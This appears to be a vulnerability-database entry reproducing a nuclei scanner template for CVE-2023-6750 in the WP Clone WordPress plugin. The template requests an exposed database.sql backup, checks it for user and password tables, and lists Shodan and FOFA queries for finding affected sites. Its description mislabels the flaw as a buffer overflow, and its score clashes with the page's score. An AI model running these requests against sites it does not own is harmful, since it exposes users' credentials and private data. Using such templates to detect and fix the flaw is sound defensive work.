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WordPress WP Clone <= 2.4.2 - Database Backup Exposure

🗓️ 01 Jul 2026 03:36:47Reported by ProjectDiscoveryType 
nuclei
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WordPress Clone plugin <= 2.4.2 exposes database backups via public buffer files.

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id: CVE-2023-6750

info:
  name: WordPress WP Clone <= 2.4.2 - Database Backup Exposure
  author: pussycat0x
  severity: critical
  description: |
    Clone WordPress plugin < 2.4.3 contains a buffer overflow caused by storing in-progress backup information in publicly accessible buffer files at a static file path, letting attackers access sensitive backup data, exploit requires no special privileges
  impact: |
    Attackers can access sensitive backup information, potentially leading to data disclosure or manipulation.
  remediation: |
    Update to version 2.4.3 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-clone-by-wp-academy/clone-242-sensitive-information-exposure
    - https://plugins.trac.wordpress.org/changeset/3012647/wp-clone-by-wp-academy
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6750
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6750
    epss-score: 0.01961
    epss-percentile: 0.77843
    cwe-id: CWE-200
    cpe: cpe:2.3:a:developer:clone:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    product: clone
    framework: wordpress
    shodan-query: http.html:"wp-clone-by-wp-academy"
    fofa-query: body="wp-clone-by-wp-academy"
  tags: cve,cve2023,wp,wp-plugin,wordpress,wp-clone,backup

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/wp-clone/wpclone_backup/database.sql"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "CREATE TABLE"
          - "INSERT INTO"
        condition: and

      - type: word
        part: body
        words:
          - "wp_users"
          - "wp_options"
          - "user_pass"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: db_table
        part: body
        group: 1
        regex:
          - "CREATE TABLE[^`]*`([^`]+)`"

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/wp-clone/wpclone_backup/prefix.txt"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "^[a-zA-Z0-9_]+$"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205caaba4c4a80c7cb7744bb564906a56269f1ba0f4e9bf259eb3a648738065a19022100f1be95abecb2381b53b0f41ac5a50060dfaf1a0d1d6a25c0986e1e7c5b8fef68:922c64590222798bb761d5b6d8e72950

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09 Apr 2026 04:41Current
7.5High risk
Vulners AI Score7.5
CVSS 3.17.5
EPSS0.01961
SSVC
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